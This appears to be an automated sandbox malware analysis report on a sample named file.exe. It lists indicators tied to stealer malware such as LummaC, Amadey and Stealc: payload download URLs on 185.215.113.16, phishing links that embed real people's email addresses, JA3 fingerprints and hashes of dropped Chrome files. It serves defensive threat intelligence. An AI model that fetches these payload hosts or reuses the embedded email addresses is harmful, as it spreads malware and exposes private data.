HTTPS sessions have been limited to 150. Please view the PCAPs for the complete data.
Not all processes where analyzed, report is missing behavior information
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Some HTTP raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.
Some HTTPS proxied raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.

Simulations

Behavior and APIs

Time	Type	Description
21:20:35	API Interceptor	8x Sleep call for process: file.exe modified

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
13.107.246.45	https://pcefan.com/diary/index.php?st-manager=1&path=/click/track&id=4973&type=ranking&url=http://nam.dcv.ms/BxPVLH2cz4	Get hash	malicious	HTMLPhisher	Browse	nam.dcv.ms/BxPVLH2cz4
185.215.113.16	file.exe	Get hash	malicious	LummaC	Browse	185.215.113.16/off/def.exe
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, Cryptbot, LummaC Stealer, Stealc	Browse	185.215.113.16/off/def.exe
	file.exe	Get hash	malicious	LummaC	Browse	185.215.113.16/off/def.exe
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	185.215.113.16/mine/random.exe
	file.exe	Get hash	malicious	LummaC	Browse	185.215.113.16/off/def.exe
	file.exe	Get hash	malicious	LummaC, Amadey, Cryptbot, LummaC Stealer	Browse	185.215.113.16/steam/random.exe
	file.exe	Get hash	malicious	LummaC, Amadey, Stealc, Vidar	Browse	185.215.113.16/steam/random.exe
	file.exe	Get hash	malicious	LummaC, Stealc, Vidar	Browse	185.215.113.16/steam/random.exe
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, Cryptbot, LummaC Stealer, Stealc	Browse	185.215.113.16/off/random.exe
	file.exe	Get hash	malicious	LummaC	Browse	185.215.113.16/off/def.exe

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
cook-rain.sbs	file.exe	Get hash	malicious	LummaC	Browse	188.114.97.3
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, Cryptbot, LummaC Stealer, Stealc	Browse	188.114.96.3
	file.exe	Get hash	malicious	LummaC	Browse	188.114.96.3
	file.exe	Get hash	malicious	LummaC	Browse	188.114.97.3
	file.exe	Get hash	malicious	LummaC, Amadey, Cryptbot, LummaC Stealer	Browse	188.114.96.3
	file.exe	Get hash	malicious	LummaC, Amadey, Stealc, Vidar	Browse	188.114.96.3
	file.exe	Get hash	malicious	LummaC, Stealc, Vidar	Browse	188.114.97.3
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, Cryptbot, LummaC Stealer, Stealc	Browse	172.67.155.248
	file.exe	Get hash	malicious	LummaC	Browse	172.67.155.248
	file.exe	Get hash	malicious	LummaC, Stealc, Vidar	Browse	188.114.97.3
s-part-0017.t-0009.t-msedge.net	https://estudioit.cl/starl/#ZGVicmEuY2FydGVyQGNhc2EuZ292LmF1	Get hash	malicious	Unknown	Browse	13.107.246.45
	http://www.dvdcollections.co.uk/search/redirect.php?deeplink=https://lp-engenharia.com/zerooo/?email=mwright@burbankca.gov	Get hash	malicious	HTMLPhisher	Browse	13.107.246.45
	file.exe	Get hash	malicious	LummaC	Browse	13.107.246.45
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, Cryptbot, LummaC Stealer, Stealc	Browse	13.107.246.45
	file.exe	Get hash	malicious	LummaC	Browse	13.107.246.45
	file.exe	Get hash	malicious	LummaC	Browse	13.107.246.45
	https://s.id/nelsi	Get hash	malicious	HTMLPhisher	Browse	13.107.246.45
	file.exe	Get hash	malicious	Stealc	Browse	13.107.246.45
	https://online-e.net/st-manager/click/track?id=795&type=raw&url=https://msc-mu.com/apikey-tyudqnhzdgevhdbasx/secure-redirect%23Darth.Vader%2BDeathStar.com&source_url=https%3A%2F%2Fonline-e.net%2Feven-if-even-though%2F&source_title=Even%20if%E3%81%A8Even%20though	Get hash	malicious	Unknown	Browse	13.107.246.45
	file.exe	Get hash	malicious	Amadey	Browse	13.107.246.45

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
MICROSOFT-CORP-MSN-AS-BLOCKUS	https://estudioit.cl/starl/#ZGVicmEuY2FydGVyQGNhc2EuZ292LmF1	Get hash	malicious	Unknown	Browse	20.190.159.68
	mips.nn.elf	Get hash	malicious	Mirai, Okiru	Browse	20.240.176.192
	http://www.dvdcollections.co.uk/search/redirect.php?deeplink=https://lp-engenharia.com/zerooo/?email=mwright@burbankca.gov	Get hash	malicious	HTMLPhisher	Browse	40.126.32.129
	file.exe	Get hash	malicious	LummaC	Browse	13.107.246.45
	arm5.nn.elf	Get hash	malicious	Mirai, Okiru	Browse	21.182.63.172
	file.exe	Get hash	malicious	LummaC	Browse	13.107.246.44
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	20.96.153.111
	file.exe	Get hash	malicious	LummaC	Browse	13.107.246.60
	file.exe	Get hash	malicious	LummaC, Amadey, Stealc, Vidar	Browse	94.245.104.56
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, Cryptbot, LummaC Stealer, Stealc	Browse	13.107.246.38
CLOUDFLARENETUS	https://estudioit.cl/starl/#ZGVicmEuY2FydGVyQGNhc2EuZ292LmF1	Get hash	malicious	Unknown	Browse	104.17.25.14
	http://www.dvdcollections.co.uk/search/redirect.php?deeplink=https://lp-engenharia.com/zerooo/?email=mwright@burbankca.gov	Get hash	malicious	HTMLPhisher	Browse	104.17.25.14
	file.exe	Get hash	malicious	LummaC	Browse	188.114.97.3
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, Cryptbot, LummaC Stealer, Stealc	Browse	188.114.96.3
	arm5.nn.elf	Get hash	malicious	Mirai, Okiru	Browse	104.21.163.66
	https://mkwomens.com/iuefoiuherjhkjf/iuyrijkfjkoifjoijreiwiw/e9c4710345f07b1cf048900d092f8cdc/YW5nZWxhLnN1bW1lcnNieUBhc2h1cnN0LmNvbQ==	Get hash	malicious	Unknown	Browse	104.17.25.14
	file.exe	Get hash	malicious	LummaC	Browse	188.114.96.3
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	172.64.41.3
	file.exe	Get hash	malicious	LummaC	Browse	188.114.97.3
	Document-v23-08-15.js	Get hash	malicious	Unknown	Browse	172.67.191.134
WHOLESALECONNECTIONSNL	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.206
	file.exe	Get hash	malicious	LummaC	Browse	185.215.113.16
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.206
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, Cryptbot, LummaC Stealer, Stealc	Browse	185.215.113.206
	file.exe	Get hash	malicious	LummaC	Browse	185.215.113.16
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.206
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	185.215.113.206
	file.exe	Get hash	malicious	LummaC	Browse	185.215.113.16
	file.exe	Get hash	malicious	LummaC, Amadey, Cryptbot, LummaC Stealer	Browse	185.215.113.16
	file.exe	Get hash	malicious	LummaC, Amadey, Stealc, Vidar	Browse	185.215.113.206

JA3 Fingerprints

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
1138de370e523e824bbca92d049a3777	https://mkwomens.com/iuefoiuherjhkjf/iuyrijkfjkoifjoijreiwiw/e9c4710345f07b1cf048900d092f8cdc/YW5nZWxhLnN1bW1lcnNieUBhc2h1cnN0LmNvbQ==	Get hash	malicious	Unknown	Browse	23.206.229.226
	file.exe	Get hash	malicious	LummaC	Browse	23.206.229.226
	file.exe	Get hash	malicious	LummaC	Browse	23.206.229.226
	https://s.id/sharedocument	Get hash	malicious	Unknown	Browse	23.206.229.226
	http://volunteeraudio.com	Get hash	malicious	Unknown	Browse	23.206.229.226
	Benefit Enrollment -wZ5nusm.pdf	Get hash	malicious	Unknown	Browse	23.206.229.226
	file.exe	Get hash	malicious	LummaC	Browse	23.206.229.226
	Customer forms.pdf	Get hash	malicious	Unknown	Browse	23.206.229.226
	http://user.ecomab.cc	Get hash	malicious	Unknown	Browse	23.206.229.226
	217469812STM.pdf	Get hash	malicious	ScreenConnect Tool, Phisher	Browse	23.206.229.226
28a2c9bd18a11de089ef85a160da29e4	file.exe	Get hash	malicious	LummaC	Browse	172.202.163.200 184.28.90.27 13.107.246.45
	https://mkwomens.com/iuefoiuherjhkjf/iuyrijkfjkoifjoijreiwiw/e9c4710345f07b1cf048900d092f8cdc/YW5nZWxhLnN1bW1lcnNieUBhc2h1cnN0LmNvbQ==	Get hash	malicious	Unknown	Browse	172.202.163.200 184.28.90.27 13.107.246.45
	https://trackwniw.top/i	Get hash	malicious	Unknown	Browse	172.202.163.200 184.28.90.27 13.107.246.45
	https://trackwniw.top/i	Get hash	malicious	Unknown	Browse	172.202.163.200 184.28.90.27 13.107.246.45
	file.exe	Get hash	malicious	LummaC	Browse	172.202.163.200 184.28.90.27 13.107.246.45
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	172.202.163.200 184.28.90.27 13.107.246.45
	file.exe	Get hash	malicious	LummaC	Browse	172.202.163.200 184.28.90.27 13.107.246.45
	Document-v23-08-15.js	Get hash	malicious	Unknown	Browse	172.202.163.200 184.28.90.27 13.107.246.45
	file.exe	Get hash	malicious	LummaC, Amadey, Stealc, Vidar	Browse	172.202.163.200 184.28.90.27 13.107.246.45
	nested-phish_alert_sp2_2.0.0.0.eml	Get hash	malicious	Unknown	Browse	172.202.163.200 184.28.90.27 13.107.246.45
a0e9f5d64349fb13191bc781f81f42e1	file.exe	Get hash	malicious	LummaC	Browse	188.114.96.3
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, Cryptbot, LummaC Stealer, Stealc	Browse	188.114.96.3
	file.exe	Get hash	malicious	LummaC	Browse	188.114.96.3
	file.exe	Get hash	malicious	LummaC	Browse	188.114.96.3
	file.exe	Get hash	malicious	LummaC, Amadey, Cryptbot, LummaC Stealer	Browse	188.114.96.3
	file.exe	Get hash	malicious	LummaC, Amadey, Stealc, Vidar	Browse	188.114.96.3
	file.exe	Get hash	malicious	LummaC, Stealc, Vidar	Browse	188.114.96.3
	QuarantineMessage.zip	Get hash	malicious	Unknown	Browse	188.114.96.3
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, Cryptbot, LummaC Stealer, Stealc	Browse	188.114.96.3
	file.exe	Get hash	malicious	LummaC	Browse	188.114.96.3

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Has Working directory, Has command line arguments, Icon number=0, Archive, ctime=Tue Oct 3 09:48:42 2023, mtime=Wed Nov 20 01:21:00 2024, atime=Wed Sep 27 04:28:28 2023, length=1210144, window=hide
Category:	dropped
Size (bytes):	2677
Entropy (8bit):	3.982097501363428
Encrypted:	false
SSDEEP:	48:860dTTbDNHCidAKZdA1oehwiZUklqehhy+3:86Mb/iy
MD5:	CABC0508AA7D3C9F3EB00F3F1F0C5BB3
SHA1:	158FCD08DF42F831C64101AA1E43BEF779235942
SHA-256:	46C6FC097CB5C0C922E1A6087041AF65D6E548B627211A62AD0B1B8642FECA7D
SHA-512:	5DF7A749CF37A5DD296F76F36100009BDEDB8754A710E7189AB216D40309060343BA085192AD9C656ADD9A63DA3674C5583B6671BBCEF7B61DE7638DC70646DC
Malicious:	false
Reputation:	low
Preview:	L..................F.@.. ...$+.,....+...:..N.Yr.... w......................1....P.O. .:i.....+00.../C:\.....................1.....EW)C..PROGRA~1..t......O.ItY......B...............J.....V...P.r.o.g.r.a.m. .F.i.l.e.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.1.....T.1.....CW.V..Google..>......CW.VtY......L.....................p+j.G.o.o.g.l.e.....T.1.....CW.V..Chrome..>......CW.VtY......M......................8..C.h.r.o.m.e.....`.1.....CW.V..APPLIC~1..H......CW.VtY............................."&.A.p.p.l.i.c.a.t.i.o.n.....n.2. w..;W.+ .CHROME~1.EXE..R......CW.VtY.............................H..c.h.r.o.m.e._.p.r.o.x.y...e.x.e.......j...............-.......i...........;........C:\Program Files\Google\Chrome\Application\chrome_proxy.exe..S.....\.....\.....\.....\.....\.....\.....\.....\.....\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.\.c.h.r.o.m.e._.p.r.o.x.y...e.x.e.*.C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.F

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Gmail.lnk

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Has Working directory, Has command line arguments, Icon number=0, Archive, ctime=Tue Oct 3 09:48:42 2023, mtime=Wed Nov 20 01:21:00 2024, atime=Wed Sep 27 04:28:28 2023, length=1210144, window=hide
Category:	dropped
Size (bytes):	2679
Entropy (8bit):	3.9986014252163584
Encrypted:	false
SSDEEP:	48:8k0dTTbDNHCidAKZdA1leh/iZUkAQkqehSy+2:8kMbl9Q/y
MD5:	586FACFFA469C931881BDB785056C209
SHA1:	0F0C522445D52D5D0D888CB46E1D4A2323804058
SHA-256:	D2A61F25E5F72B3A2E8411B4B057994F1F1C4128F33B8458215542B2FF7801DA
SHA-512:	99C1673F9D4B49A36D304C188AA078DA23C9C287EF117A00F97E57B603324864F57C8350AC0A629762534D971DA9FA31791A3F91E0238B6F9619D75BD832E671
Malicious:	false
Reputation:	low
Preview:	L..................F.@.. ...$+.,....:.v..:..N.Yr.... w......................1....P.O. .:i.....+00.../C:\.....................1.....EW)C..PROGRA~1..t......O.ItY......B...............J.....V...P.r.o.g.r.a.m. .F.i.l.e.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.1.....T.1.....CW.V..Google..>......CW.VtY......L.....................p+j.G.o.o.g.l.e.....T.1.....CW.V..Chrome..>......CW.VtY......M......................8..C.h.r.o.m.e.....`.1.....CW.V..APPLIC~1..H......CW.VtY............................."&.A.p.p.l.i.c.a.t.i.o.n.....n.2. w..;W.+ .CHROME~1.EXE..R......CW.VtY.............................H..c.h.r.o.m.e._.p.r.o.x.y...e.x.e.......j...............-.......i...........;........C:\Program Files\Google\Chrome\Application\chrome_proxy.exe..S.....\.....\.....\.....\.....\.....\.....\.....\.....\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.\.c.h.r.o.m.e._.p.r.o.x.y...e.x.e.*.C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.F

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Google Drive.lnk

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Has Working directory, Has command line arguments, Icon number=0, Archive, ctime=Tue Oct 3 09:48:42 2023, mtime=Thu Oct 5 07:00:51 2023, atime=Wed Sep 27 04:28:28 2023, length=1210144, window=hide
Category:	dropped
Size (bytes):	2693
Entropy (8bit):	4.007152433131115
Encrypted:	false
SSDEEP:	48:8K0dTTbDbHCidAKZdA14t5eh7sFiZUkmgqeh7sgy+BX:8KMbfnmy
MD5:	E9C8C5DDB96FE474818274ACE40AE7D2
SHA1:	DF79091433F580355DCB77375D8B4047D385FE82
SHA-256:	12BBAC6EF8DB6DB0AB80F7AD5104D81D696903AD4233D8726E6B0C8AE7F1CC7E
SHA-512:	B83B6A48AD15EE35D8017173BCC7FF47080343305C8C1EDAD8EE17B13E699AF2F0C311B71855AA8DC2DC921236F4A8AF4B320C2EDDFF9990E7FD3FF91FABDB38
Malicious:	false
Reputation:	low
Preview:	L..................F.@.. ...$+.,.....C..b...N.Yr.... w......................1....P.O. .:i.....+00.../C:\.....................1.....EW)C..PROGRA~1..t......O.ItY......B...............J.....V...P.r.o.g.r.a.m. .F.i.l.e.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.1.....T.1.....CW.V..Google..>......CW.VtY......L.....................p+j.G.o.o.g.l.e.....T.1.....CW.V..Chrome..>......CW.VtY......M......................8..C.h.r.o.m.e.....`.1.....CW.V..APPLIC~1..H......CW.VtY............................."&.A.p.p.l.i.c.a.t.i.o.n.....n.2. w..;W.+ .CHROME~1.EXE..R......CW.VEW.@...........................H..c.h.r.o.m.e._.p.r.o.x.y...e.x.e.......j...............-.......i...........;........C:\Program Files\Google\Chrome\Application\chrome_proxy.exe..S.....\.....\.....\.....\.....\.....\.....\.....\.....\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.\.c.h.r.o.m.e._.p.r.o.x.y...e.x.e.*.C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.F

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Sheets.lnk

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Has Working directory, Has command line arguments, Icon number=0, Archive, ctime=Tue Oct 3 09:48:42 2023, mtime=Wed Nov 20 01:21:00 2024, atime=Wed Sep 27 04:28:28 2023, length=1210144, window=hide
Category:	dropped
Size (bytes):	2681
Entropy (8bit):	3.9934558318167186
Encrypted:	false
SSDEEP:	48:8o0dTTbDNHCidAKZdA16ehDiZUkwqehuy+R:8oMb2oy
MD5:	DE1701AC8893D24C0E624A864D129BE6
SHA1:	056C0418B419A7CCC70B537E86FF452FB7BEB12F
SHA-256:	2584B7E52A2DF6C5432B21917042DC6A442CA1E3B3D24593DC12A9B5B2D10260
SHA-512:	57E60A9488DD6B59FAC7B74494385A40AB0EC6803A17F31FA2D252871BB7D635531666D370D10F9DBA66C0E836961714290D7FB0C63455A677B07287DAE6016D
Malicious:	false
Reputation:	low
Preview:	L..................F.@.. ...$+.,....:.p..:..N.Yr.... w......................1....P.O. .:i.....+00.../C:\.....................1.....EW)C..PROGRA~1..t......O.ItY......B...............J.....V...P.r.o.g.r.a.m. .F.i.l.e.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.1.....T.1.....CW.V..Google..>......CW.VtY......L.....................p+j.G.o.o.g.l.e.....T.1.....CW.V..Chrome..>......CW.VtY......M......................8..C.h.r.o.m.e.....`.1.....CW.V..APPLIC~1..H......CW.VtY............................."&.A.p.p.l.i.c.a.t.i.o.n.....n.2. w..;W.+ .CHROME~1.EXE..R......CW.VtY.............................H..c.h.r.o.m.e._.p.r.o.x.y...e.x.e.......j...............-.......i...........;........C:\Program Files\Google\Chrome\Application\chrome_proxy.exe..S.....\.....\.....\.....\.....\.....\.....\.....\.....\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.\.c.h.r.o.m.e._.p.r.o.x.y...e.x.e.*.C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.F

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Slides.lnk

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Has Working directory, Has command line arguments, Icon number=0, Archive, ctime=Tue Oct 3 09:48:42 2023, mtime=Wed Nov 20 01:21:00 2024, atime=Wed Sep 27 04:28:28 2023, length=1210144, window=hide
Category:	dropped
Size (bytes):	2681
Entropy (8bit):	3.986223822141595
Encrypted:	false
SSDEEP:	48:8j0dTTbDNHCidAKZdA1UehBiZUk1W1qehEy+C:8jMbW9ky
MD5:	84B11FD773F086C22BE5C59345D0B7E7
SHA1:	815FB7FDB801F25D0AC53397B9F554DB8784FA0C
SHA-256:	7637AF9253C3073C6096126569C8CE60A21713AB58C380FAF6EEEAECA4026940
SHA-512:	6A48B36F5036F358CCDAE25BA7E86B1ECCB74D9378558D0AC3D3ADB955ED7C3BD19FB967841AA2634BCABA1194D4647DB82DE1C9118094F0338004A75E9742FE
Malicious:	false
Reputation:	low
Preview:	L..................F.@.. ...$+.,.....,...:..N.Yr.... w......................1....P.O. .:i.....+00.../C:\.....................1.....EW)C..PROGRA~1..t......O.ItY......B...............J.....V...P.r.o.g.r.a.m. .F.i.l.e.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.1.....T.1.....CW.V..Google..>......CW.VtY......L.....................p+j.G.o.o.g.l.e.....T.1.....CW.V..Chrome..>......CW.VtY......M......................8..C.h.r.o.m.e.....`.1.....CW.V..APPLIC~1..H......CW.VtY............................."&.A.p.p.l.i.c.a.t.i.o.n.....n.2. w..;W.+ .CHROME~1.EXE..R......CW.VtY.............................H..c.h.r.o.m.e._.p.r.o.x.y...e.x.e.......j...............-.......i...........;........C:\Program Files\Google\Chrome\Application\chrome_proxy.exe..S.....\.....\.....\.....\.....\.....\.....\.....\.....\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.\.c.h.r.o.m.e._.p.r.o.x.y...e.x.e.*.C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.F

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\YouTube.lnk

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Has Working directory, Has command line arguments, Icon number=0, Archive, ctime=Tue Oct 3 09:48:42 2023, mtime=Wed Nov 20 01:21:00 2024, atime=Wed Sep 27 04:28:28 2023, length=1210144, window=hide
Category:	dropped
Size (bytes):	2683
Entropy (8bit):	3.992391189599695
Encrypted:	false
SSDEEP:	48:8S0dTTbDNHCidAKZdA1duTrehOuTbbiZUk5OjqehOuTbmy+yT+:8SMbnTYTbxWOvTbmy7T
MD5:	5EF0CEFD3AA7EFE64ADF47F06123C34F
SHA1:	28B4A9DDFE8F845AAEC205AC09A4B751E6418CD2
SHA-256:	34072EAEC5DE88AE6F2A00DE377F7A77056F30535B79D29FD172CEB43DCC322E
SHA-512:	F114632876DB0D542254BAC1573262D2B2E5C37EAD1FF22BE4A0B2754CD4A1DD2F41B644E3F84FCB9E20E8003FF59D35774FDCFA6E9311173C754FF6A88FB787
Malicious:	false
Preview:	L..................F.@.. ...$+.,....:Fh..:..N.Yr.... w......................1....P.O. .:i.....+00.../C:\.....................1.....EW)C..PROGRA~1..t......O.ItY......B...............J.....V...P.r.o.g.r.a.m. .F.i.l.e.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.1.....T.1.....CW.V..Google..>......CW.VtY......L.....................p+j.G.o.o.g.l.e.....T.1.....CW.V..Chrome..>......CW.VtY......M......................8..C.h.r.o.m.e.....`.1.....CW.V..APPLIC~1..H......CW.VtY............................."&.A.p.p.l.i.c.a.t.i.o.n.....n.2. w..;W.+ .CHROME~1.EXE..R......CW.VtY.............................H..c.h.r.o.m.e._.p.r.o.x.y...e.x.e.......j...............-.......i...........;........C:\Program Files\Google\Chrome\Application\chrome_proxy.exe..S.....\.....\.....\.....\.....\.....\.....\.....\.....\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.\.c.h.r.o.m.e._.p.r.o.x.y...e.x.e.*.C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.F

Chrome Cache Entry: 100

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JSON data
Category:	downloaded
Size (bytes):	18477
Entropy (8bit):	5.147347768532056
Encrypted:	false
SSDEEP:	384:cF3MGvRvqhjNLN1RlX+Vqn3wj2pC33qr3h3x7Z04519u2/8Xx7kuFg/F3Bo3h16z:63MGpvqhj/rlOVqnACpK3o3hhl0OU2/x
MD5:	9A6B01877BAAC986FE1FBF4CAA95E7C7
SHA1:	A3227894EACEB2177EEE7CF66A693A9B4C0971FE
SHA-256:	12051CF7967A2E3F39971EC7F48D1892EB7138F7D1F7E5A3407D63E257EBE7AC
SHA-512:	5DBDA31E67FE480385283A63F8C2D0CE5E1B2A04A23917F65F0EC6867A9D95C93E4B50807D42D65718EF01588AA523FE791A0A1BD0663BB5DC9BED5E43995AB2
Malicious:	false
URL:	https://learn.microsoft.com/en-us/banners/index.json
Preview:	{"banners":[{"content":{"text":"You may experience reduced functionality with empty pages and broken links. Development is in progress to improve your experience."},"dismissable":false,"location":"sectional","scope":{"accessLevels":["isolated"],"endDate":"2030-01-01T00:00:00-00:00","paths":["/samples/browse/","/lifecycle/products/","/dotnet/api/","/javascript/api/","/java/api/","/powershell/module/","/python/api/","/rest/api/","/assessments/"],"startDate":"2020-10-01T05:00:00-04:00"},"uid":"development-in-progress-isolated"},{"content":{"link":{"href":"/en-us/answers/questions/1657059/the-subscription-is-not-allowed-to-create-or-updat","title":"View discussion"},"text":"App Service deployment: subscription \u0027xxxxxxxx\u0027 is not allowed to create or update the server farm."},"dismissable":true,"location":"sectional","scope":{"accessLevels":["online"],"endDate":"2024-05-24T07:34:00.000Z","paths":["/answers/tags/436/azure-app-service"],"startDate":"2024-04-22T07:34:00.000Z"},"uid":"

Chrome Cache Entry: 101

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 533 x 478, 8-bit/color RGBA, non-interlaced
Category:	downloaded
Size (bytes):	15427
Entropy (8bit):	7.784472070227724
Encrypted:	false
SSDEEP:	384:CKKdvwj3SJMpKKKKKKKKikCyKwqHILyPGQV4ykihKKKKKKKCm:CKKdvMMgKKKKKKKKiqB3yPVXkihKKKKI
MD5:	3062488F9D119C0D79448BE06ED140D8
SHA1:	8A148951C894FC9E968D3E46589A2E978267650E
SHA-256:	C47A383DE6DD60149B37DD24825D42D83CB48BE0ED094E3FC3B228D0A7BB9332
SHA-512:	00BBA6BCBFBF44B977129594A47F732809DCE7D4E2D22D050338E4EEA91FCC02A9B333C45EEB4C9024DF076CBDA0B46B621BF48309C0D037D19BBEAE0367F5ED
Malicious:	false
URL:	https://learn.microsoft.com/en-us/dotnet/framework/install/media/application-not-started/repair-tool-recommended-changes.png
Preview:	.PNG........IHDR.............,#......sRGB.........gAMA......a.....pHYs..........o.d..;.IDATx^..].u.Y..M....B.X...".......@.ZzSys..,H{.Rz!... .......WM.IN..9n..I....g...p<P.0-....\|...X..s...Z.Y{....w..5.._s..x...E.......... ..................... ..................{....2. ...`.$h.......)....,T-x.5......,.."..(.A.......>.. ...`......4..G.\|.....,T-..'. ...`....]........?~.....A...pAP...\.T..........A...pAP...\.T..........A...pAP...\.T..........A...pAP...\.}P../}....TJ...'.O...'?......XH...K..>.b..K/t...o.......T.._.E.....q.$.x..qJ......mo...ww.}.{....W..._...._.^z...........(^x..C..P.../.........U..]../u.....w..{.O.N..o.l........_.^...2.....*....<...iP.W...o......]..+.?}c...t!.....p.=..._x..._yo....?....~u.c?.c1'.....{.^.}.S...5.yMx./.>.lwqq.}.....g..g1wZ..%......h.i[..%ul.&..U.k..";7-.9.6...s..s..0.......}.s..?...c..X...\|..........>.x..o.?.?..{........n..o....]?....Ej..yuu5...A.}....5...^...f........s.qJ..SYF.V...'..q.......T..'..z.....

Chrome Cache Entry: 102

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (52717), with no line terminators
Category:	dropped
Size (bytes):	52717
Entropy (8bit):	5.462668685745912
Encrypted:	false
SSDEEP:	1536:tjspYRrxlhd0fq3agV3IcgPPPI3r7DAQHCloIB3Tj7xHw:tjZLCtxQ
MD5:	413FCC759CC19821B61B6941808B29B5
SHA1:	1AD23B8A202043539C20681B1B3E9F3BC5D55133
SHA-256:	DAF7759FEDD9AF6C4D7E374B0D056547AE7CB245EC24A1C4ACF02932F30DC536
SHA-512:	E9BF8A74FEF494990AAFD15A0F21E0398DC28B4939C8F9F8AA1F3FFBD18056C8D1AB282B081F5C56F0928C48E30E768F7E347929304B55547F9CA8C1AABD80B8
Malicious:	false
